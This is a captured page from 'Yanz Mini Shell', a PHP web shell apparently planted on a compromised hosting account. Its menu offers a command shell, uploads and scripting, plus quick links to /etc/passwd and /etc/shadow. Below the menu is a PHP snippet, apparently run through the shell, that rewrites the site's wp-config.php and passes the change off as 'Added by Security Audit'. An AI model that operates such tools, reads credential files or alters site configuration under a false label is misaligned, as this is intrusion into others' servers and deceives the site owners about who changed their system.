Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
buyherba
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php $c = file_get_contents('public_html/wp-config.php'); $additions = "\n/* Security Hardening - Added by Security Audit */\n"; $additions .= "define('DISALLOW_FILE_EDIT', true);\n"; $additions .= "define('DISALLOW_FILE_MODS', false);\n"; $additions .= "define('WP_AUTO_UPDATE_CORE', true);\n"; $additions .= "define('FORCE_SSL_ADMIN', true);\n"; if(strpos($c, 'DISALLOW_FILE_EDIT') === false) { $c = str_replace("/* That's all, stop editing!", $additions . "\n/* That's all, stop editing!", $c); file_put_contents('public_html/wp-config.php', $c); echo "Security constants added\n"; } else { echo "Already present\n"; } echo "DONE\n"; ?>
Free Space : 1631420727296 Byte